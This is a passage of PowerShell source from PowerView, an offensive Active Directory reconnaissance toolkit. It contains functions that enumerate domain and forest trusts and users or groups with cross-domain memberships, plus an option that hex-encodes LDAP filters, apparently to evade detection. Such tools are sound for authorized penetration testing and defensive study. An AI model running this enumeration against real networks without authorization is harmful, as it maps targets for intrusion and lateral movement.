|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrust
|
|
|
|
Return domain trusts for the current domain using built in .LDAP methods.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrust -NET -Domain "prod.testlab.local"
|
|
|
|
Return domain trusts for the "prod.testlab.local" domain using .NET methods
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
|
|
|
|
Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
|
|
queries, binding to the PRIMARY.testlab.local server for queries, and using the specified
|
|
alternate credenitals.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainTrust -API -Domain "prod.testlab.local"
|
|
|
|
Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DomainTrust.LDAP
|
|
|
|
Custom PSObject with translated domain LDAP trust result fields (default).
|
|
|
|
PowerView.DomainTrust.NET
|
|
|
|
A TrustRelationshipInformationCollection returned when using .NET methods.
|
|
|
|
PowerView.DomainTrust.API
|
|
|
|
Custom PSObject with translated domain API trust result fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.DomainTrust.NET')]
|
|
[OutputType('PowerView.DomainTrust.LDAP')]
|
|
[OutputType('PowerView.DomainTrust.API')]
|
|
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Parameter(ParameterSetName = 'API')]
|
|
[Switch]
|
|
$API,
|
|
|
|
[Parameter(ParameterSetName = 'NET')]
|
|
[Switch]
|
|
$NET,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Parameter(ParameterSetName = 'API')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Parameter(ParameterSetName = 'LDAP')]
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$TrustAttributes = @{
|
|
[uint32]'0x00000001' = 'NON_TRANSITIVE'
|
|
[uint32]'0x00000002' = 'UPLEVEL_ONLY'
|
|
[uint32]'0x00000004' = 'FILTER_SIDS'
|
|
[uint32]'0x00000008' = 'FOREST_TRANSITIVE'
|
|
[uint32]'0x00000010' = 'CROSS_ORGANIZATION'
|
|
[uint32]'0x00000020' = 'WITHIN_FOREST'
|
|
[uint32]'0x00000040' = 'TREAT_AS_EXTERNAL'
|
|
[uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION'
|
|
[uint32]'0x00000100' = 'TRUST_USES_AES_KEYS'
|
|
[uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION'
|
|
[uint32]'0x00000400' = 'PIM_TRUST'
|
|
}
|
|
|
|
$LdapSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $LdapSearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$LdapSearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
$NetSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate }
|
|
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PsCmdlet.ParameterSetName -ne 'API') {
|
|
if ($Domain -and $Domain.Trim() -ne '') {
|
|
$SourceDomain = $Domain
|
|
}
|
|
else {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$SourceDomain = (Get-Domain -Credential $Credential).Name
|
|
}
|
|
else {
|
|
$SourceDomain = (Get-Domain).Name
|
|
}
|
|
}
|
|
}
|
|
elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
|
|
if ($Domain -and $Domain.Trim() -ne '') {
|
|
$SourceDomain = $Domain
|
|
}
|
|
else {
|
|
$SourceDomain = $Env:USERDNSDOMAIN
|
|
}
|
|
}
|
|
|
|
if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
|
|
# if we're searching for domain trusts through LDAP/ADSI
|
|
$SourceSID = Get-DomainSID @NetSearcherArguments
|
|
|
|
|
|
$Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDomain)"
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Props = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'securityidentifier')) {
|
|
$Props[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Props[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Props = $_.Properties
|
|
}
|
|
|
|
$DomainTrust = New-Object PSObject
|
|
|
|
$TrustAttrib = @()
|
|
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
|
|
|
|
$Direction = Switch ($Props.trustdirection) {
|
|
0 { 'Disabled' }
|
|
1 { 'Inbound' }
|
|
2 { 'Outbound' }
|
|
3 { 'Bidirectional' }
|
|
}
|
|
|
|
$TrustType = Switch ($Props.trusttype) {
|
|
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
|
|
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
|
|
3 { 'MIT' }
|
|
}
|
|
|
|
$Distinguishedname = $Props.distinguishedname[0]
|
|
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
|
|
if ($SourceNameIndex) {
|
|
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
|
|
}
|
|
else {
|
|
$SourceDomain = ""
|
|
}
|
|
|
|
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
|
|
if ($SourceNameIndex) {
|
|
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
|
|
}
|
|
else {
|
|
$TargetDomain = ""
|
|
}
|
|
|
|
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
|
|
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
|
|
|
|
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
|
|
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
|
|
# $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
|
|
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
|
|
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
|
|
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
|
|
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
|
|
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
|
|
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
|
|
$DomainTrust
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
elseif ($PsCmdlet.ParameterSetName -eq 'API') {
|
|
# if we're searching for domain trusts through Win32 API functions
|
|
if ($PSBoundParameters['Server']) {
|
|
$TargetDC = $Server
|
|
}
|
|
elseif ($Domain -and $Domain.Trim() -ne '') {
|
|
$TargetDC = $Domain
|
|
}
|
|
else {
|
|
# see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
|
|
$TargetDC = $Null
|
|
}
|
|
|
|
# arguments for DsEnumerateDomainTrusts
|
|
$PtrInfo = [IntPtr]::Zero
|
|
|
|
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
|
|
$Flags = 63
|
|
$DomainCount = 0
|
|
|
|
# get the trust information from the target server
|
|
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
|
|
|
|
# Locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# Work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $DomainCount); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
|
|
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
|
|
$SidString = ''
|
|
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
|
|
|
if ($Result -eq 0) {
|
|
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
else {
|
|
$DomainTrust = New-Object PSObject
|
|
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
|
|
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
|
|
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
|
|
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
|
|
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
|
|
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
|
|
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
|
|
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
|
|
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
|
|
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
|
|
$DomainTrust
|
|
}
|
|
}
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
else {
|
|
# if we're searching for domain trusts through .NET methods
|
|
$FoundDomain = Get-Domain @NetSearcherArguments
|
|
if ($FoundDomain) {
|
|
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-ForestTrust {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all forest trusts for the current forest or a specified forest.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Forest
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will enumerate domain trust relationships for the current (or a remote)
|
|
forest using number of method using the .NET method GetAllTrustRelationships() on a
|
|
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
|
|
|
|
.PARAMETER Forest
|
|
|
|
Specifies the forest to query for trusts, defaults to the current forest.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestTrust
|
|
|
|
Return current forest trusts.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestTrust -Forest "external.local"
|
|
|
|
Return trusts for the "external.local" forest.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-ForestTrust -Forest "external.local" -Credential $Cred
|
|
|
|
Return trusts for the "external.local" forest using the specified alternate credenitals.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DomainTrust.NET
|
|
|
|
A TrustRelationshipInformationCollection returned when using .NET methods (default).
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ForestTrust.NET')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Forest,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$NetForestArguments = @{}
|
|
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
|
|
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
|
|
|
|
$FoundForest = Get-Forest @NetForestArguments
|
|
|
|
if ($FoundForest) {
|
|
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainForeignUser {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates users who are in groups outside of the user's domain.
|
|
This is a domain's "outgoing" access.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain, Get-DomainUser
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
|
|
then calculates the given user's domain name based on the user's distinguishedName.
|
|
This domain name is compared to the queried domain, and the user object is
|
|
output if they differ.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainForeignUser
|
|
|
|
Return all users in the current domain who are in groups not in the
|
|
current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainForeignUser -Domain dev.testlab.local
|
|
|
|
Return all users in the dev.testlab.local domain who are in groups not in the
|
|
dev.testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
|
|
|
|
Return all users in the dev.testlab.local domain who are in groups not in the
|
|
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
|
|
using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ForeignUser
|
|
|
|
Custom PSObject with translated user property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ForeignUser')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
|
|
}
|
|
|
|
PROCESS {
|
|
Get-DomainUser @SearcherArguments | ForEach-Object {
|
|
ForEach ($Membership in $_.memberof) {
|
|
$Index = $Membership.IndexOf('DC=')
|
|
if ($Index) {
|
|
|
|
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
|
|
$UserDistinguishedName = $_.distinguishedname
|
|
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
|
|
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
|
|
|
|
if ($GroupDomain -ne $UserDomain) {
|
|
# if the group domain doesn't match the user domain, display it
|
|
$GroupName = $Membership.Split(',')[0].split('=')[1]
|
|
$ForeignUser = New-Object PSObject
|
|
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
|
|
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
|
|
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
|
|
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
|
|
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
|
|
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
|
|
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
|
|
$ForeignUser
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainForeignGroupMember {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates groups with users outside of the group's domain and returns
|
|
each foreign member. This is a domain's "incoming" access.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain, Get-DomainGroup
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
|
|
then enumerates the members of each group, and compares the member's domain
|
|
name to the parent group's domain name, outputting the member if the domains differ.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainForeignGroupMember
|
|
|
|
Return all group members in the current domain where the group and member differ.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainForeignGroupMember -Domain dev.testlab.local
|
|
|
|
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
|
|
|
|
Return all group members in the dev.testlab.local domain where the member is
|
|
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
|
|
queries, and using the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ForeignGroupMember
|
|
|
|
Custom PSObject with translated group member property fields.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ForeignGroupMember')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
$SearcherArguments['LDAPFilter'] = '(member=*)'
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
|
|
}
|
|
|
|
PROCESS {
|
|
# standard group names to ignore
|
|
$ExcludeGroups = @('Users', 'Domain Users', 'Guests')
|
|
|
|
Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object {
|
|
$GroupName = $_.samAccountName
|
|
$GroupDistinguishedName = $_.distinguishedname
|
|
